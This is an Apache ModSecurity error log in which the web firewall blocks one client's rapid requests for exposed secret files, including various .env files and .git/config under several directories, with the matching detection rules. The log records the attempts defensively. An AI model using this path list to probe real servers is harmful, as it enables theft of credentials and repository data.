[Mon Oct 26 01:10:09.404697 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:62074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backup/.git/config"] [unique_id "at7gsYkKmcwaFKw2zjO69AAAABY"]
[Mon Oct 26 01:10:09.404960 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:62074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backup/.git/config"] [unique_id "at7gsYkKmcwaFKw2zjO69AAAABY"]
[Mon Oct 26 01:10:09.642396 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62078] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/api/.git/config"] [unique_id "at7gsYxjGi9drRw_gnmvCQAAABc"]
[Mon Oct 26 01:10:09.642679 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/.git/config"] [unique_id "at7gsYxjGi9drRw_gnmvCQAAABc"]
[Mon Oct 26 01:10:09.642965 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/.git/config"] [unique_id "at7gsYxjGi9drRw_gnmvCQAAABc"]
[Mon Oct 26 01:10:10.112039 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62098] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.template"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.template"] [unique_id "at7gsizbxoDcPgmvgSFJCAAAAAI"]
[Mon Oct 26 01:10:10.112258 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.template"] [unique_id "at7gsizbxoDcPgmvgSFJCAAAAAI"]
[Mon Oct 26 01:10:10.112545 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.template"] [unique_id "at7gsizbxoDcPgmvgSFJCAAAAAI"]
[Mon Oct 26 01:10:10.344951 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:62104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at7gsoby0T5GxfPG5JievgAAAAg"]
[Mon Oct 26 01:10:10.345213 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:62104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at7gsoby0T5GxfPG5JievgAAAAg"]
[Mon Oct 26 01:10:10.345470 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:62104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at7gsoby0T5GxfPG5JievgAAAAg"]
[Mon Oct 26 01:10:10.380841 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 35.173.38.202:50604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:10:10.582154 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62120] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /settings/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/settings/.env"] [unique_id "at7gssVpa646XWXolcwAQgAAABg"]
[Mon Oct 26 01:10:10.582378 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/settings/.env"] [unique_id "at7gssVpa646XWXolcwAQgAAABg"]
[Mon Oct 26 01:10:10.582636 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/settings/.env"] [unique_id "at7gssVpa646XWXolcwAQgAAABg"]
[Mon Oct 26 01:10:10.831664 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62136] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/admin/.git/config"] [unique_id "at7gslmPATn9-OOzVsuAxAAAAAA"]
[Mon Oct 26 01:10:10.831916 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/admin/.git/config"] [unique_id "at7gslmPATn9-OOzVsuAxAAAAAA"]
[Mon Oct 26 01:10:10.832159 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/admin/.git/config"] [unique_id "at7gslmPATn9-OOzVsuAxAAAAAA"]
[Mon Oct 26 01:10:11.069446 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:62138] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/config/.git/config"] [unique_id "at7gs4kKmcwaFKw2zjO69QAAABY"]
[Mon Oct 26 01:10:11.069710 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:62138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/config/.git/config"] [unique_id "at7gs4kKmcwaFKw2zjO69QAAABY"]
[Mon Oct 26 01:10:11.070010 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:62138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/config/.git/config"] [unique_id "at7gs4kKmcwaFKw2zjO69QAAABY"]
[Mon Oct 26 01:10:11.306453 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.staging.local"] [unique_id "at7gs4xjGi9drRw_gnmvCgAAABc"]
[Mon Oct 26 01:10:11.306731 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.staging.local"] [unique_id "at7gs4xjGi9drRw_gnmvCgAAABc"]
[Mon Oct 26 01:10:11.307004 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.staging.local"] [unique_id "at7gs4xjGi9drRw_gnmvCgAAABc"]
[Mon Oct 26 01:10:11.556195 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:62164] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/data/.git/config"] [unique_id "at7gs1N_bUq_OQDpNPOoNAAAAAo"]
[Mon Oct 26 01:10:11.556425 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:62164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/data/.git/config"] [unique_id "at7gs1N_bUq_OQDpNPOoNAAAAAo"]
[Mon Oct 26 01:10:11.556709 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:62164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/data/.git/config"] [unique_id "at7gs1N_bUq_OQDpNPOoNAAAAAo"]
[Mon Oct 26 01:10:11.790838 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.default"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.default"] [unique_id "at7gsyzbxoDcPgmvgSFJCQAAAAI"]
[Mon Oct 26 01:10:11.791079 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.default"] [unique_id "at7gsyzbxoDcPgmvgSFJCQAAAAI"]
[Mon Oct 26 01:10:11.791325 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.default"] [unique_id "at7gsyzbxoDcPgmvgSFJCQAAAAI"]
[Mon Oct 26 01:10:12.049173 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:62176] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /configuration/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/configuration/.env"] [unique_id "at7gtIl8CCaegHlNIHu71gAAAD8"]
[Mon Oct 26 01:10:12.049404 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:62176] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/configuration/.env"] [unique_id "at7gtIl8CCaegHlNIHu71gAAAD8"]
[Mon Oct 26 01:10:12.049670 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:62176] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/configuration/.env"] [unique_id "at7gtIl8CCaegHlNIHu71gAAAD8"]
[Mon Oct 26 01:10:12.283924 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:62180] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /server/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/server/.git/config"] [unique_id "at7gtIby0T5GxfPG5JievwAAAAg"]
[Mon Oct 26 01:10:12.284258 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:62180] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/server/.git/config"] [unique_id "at7gtIby0T5GxfPG5JievwAAAAg"]
[Mon Oct 26 01:10:12.284564 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:62180] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/server/.git/config"] [unique_id "at7gtIby0T5GxfPG5JievwAAAAg"]
[Mon Oct 26 01:10:12.520434 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62194] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gtMVpa646XWXolcwAQwAAABg"]
[Mon Oct 26 01:10:12.520700 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62194] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gtMVpa646XWXolcwAQwAAABg"]
[Mon Oct 26 01:10:12.520977 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62194] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gtMVpa646XWXolcwAQwAAABg"]
[Mon Oct 26 01:10:12.756206 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/build/.env"] [unique_id "at7gtFmPATn9-OOzVsuAxQAAAAA"]
[Mon Oct 26 01:10:12.756436 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/build/.env"] [unique_id "at7gtFmPATn9-OOzVsuAxQAAAAA"]
